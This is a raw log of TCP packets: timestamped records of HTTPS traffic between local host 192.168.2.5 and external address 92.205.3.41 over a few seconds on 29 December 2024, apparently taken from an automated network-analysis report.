Dec 29, 2024 09:04:29.614630938 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.614703894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.615967035 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.616046906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.617445946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.617535114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.619544983 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.619645119 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.621078968 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.621155024 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.798039913 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.798162937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.799323082 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.799406052 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.801014900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.801083088 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.802386045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.802479029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.804321051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.804390907 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.805773973 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.805843115 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.807346106 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.807415962 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.808796883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.808870077 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.810255051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.810329914 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.812400103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.812470913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.813832998 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.813906908 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.815452099 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.815525055 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.816955090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.817033052 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.818767071 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.818850040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.820239067 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.820329905 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.821764946 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.821849108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:29.999452114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:29.999557018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.000312090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.000405073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.001694918 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.001799107 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.003093004 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.003185987 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.005577087 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.005664110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.006733894 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.006825924 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.008198977 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.008295059 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.009696007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.009809971 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.011627913 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.011712074 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.015170097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.015260935 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.016313076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.016427994 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.017040014 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.017112970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.017807961 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.017882109 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.019788980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.019860029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.021133900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.021203995 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.022650957 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.022885084 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.024065018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.024141073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.200970888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.201101065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.203080893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.203169107 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.204636097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.204730988 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.206098080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.206182003 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.207513094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.207602978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.208986044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.209076881 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.211920023 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.212009907 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.213226080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.213323116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.214745045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.214823961 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.215990067 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.216075897 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.217387915 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.217497110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.218645096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.218750000 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.220530033 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.220613003 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.221899986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.221993923 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.223395109 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.223495960 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.225542068 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.225615025 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.402164936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.402259111 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.403480053 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.403569937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.405647993 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.405738115 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.407037020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.407111883 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.408509016 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.408597946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.410151958 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.410228014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.412177086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.412252903 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.415221930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.415301085 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.416883945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.417037964 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.418380022 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.418466091 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.420217991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.420290947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.422295094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.422382116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.424189091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.424268007 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.425615072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.425692081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.426888943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.426968098 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.428200006 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.428275108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.603441000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.603537083 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.604383945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.604466915 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.605881929 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.605963945 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.607963085 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.608056068 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.609394073 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.609469891 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.611053944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.611133099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.612391949 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.612472057 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.614079952 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.614151001 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.615753889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.615861893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.617870092 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.617950916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.619847059 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.619937897 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.621206045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.621299982 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.622684002 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.622771978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.624092102 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.624166012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.625741959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.625818968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.627278090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.627376080 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.628814936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.628896952 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.805517912 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.805593967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.807301998 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.807384014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.808809042 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.808892965 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.810321093 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.810401917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.811755896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.811837912 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.813249111 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.813323975 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.815373898 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.815437078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.816792011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.816890955 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.818361044 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.818430901 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.819787979 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.819852114 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.821329117 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.821405888 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.822741032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.822805882 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.824717045 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.824876070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.826220989 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.826289892 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.827658892 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.827730894 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:30.829760075 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:30.829824924 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.139934063 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.139944077 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.140013933 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.140614986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.140698910 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.141096115 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.141160965 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.141175032 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.141182899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.141230106 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.141917944 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.141988039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.141999006 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.142009974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.142061949 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.142824888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.142895937 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.142905951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.142911911 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.142956018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.142968893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.143667936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.143748999 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.143819094 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.143883944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.144743919 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.144794941 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.144824982 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.144830942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.144855022 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.144876957 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.145684004 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.145750046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.146512032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.146576881 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.146589041 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.146594048 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.146630049 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.147566080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.147636890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.207731962 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.207828045 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.208942890 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.209027052 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.210458040 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.210531950 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.211925030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.212002039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.214082956 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.214160919 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.215472937 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.215549946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.217027903 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.217116117 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.218461037 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.218525887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.219950914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.220038891 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.221438885 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.221517086 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.223750114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.223822117 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.225086927 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.225171089 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.226339102 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.226404905 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.228456974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.228534937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.230045080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.230120897 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.231997967 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.232081890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.232901096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.232980967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.410098076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.410177946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.411585093 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.411669970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.411689043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.413044930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.413110018 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.414623022 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.414705038 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.415954113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.416035891 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.417474985 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.417542934 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.419588089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.419653893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.419712067 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.421149969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.421216011 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.422557116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.422635078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.424046040 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.424118996 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.425503969 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.425581932 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.427434921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.427510977 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.428910971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.428967953 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.429013968 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.430455923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.430532932 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.431883097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.431961060 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.434000015 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.434073925 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.610631943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.610718012 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.612086058 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.612169027 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.613586903 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.613666058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.615027905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.615098000 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.617156029 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.617229939 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.618647099 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.618727922 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.620202065 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.620276928 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.621612072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.621700048 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.623126984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.623198986 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.624607086 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.624682903 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.626691103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.626770020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.628288984 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:31.628376961 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:31.629426003 CET	443	49710	92.205.3.41	192.168.2.5
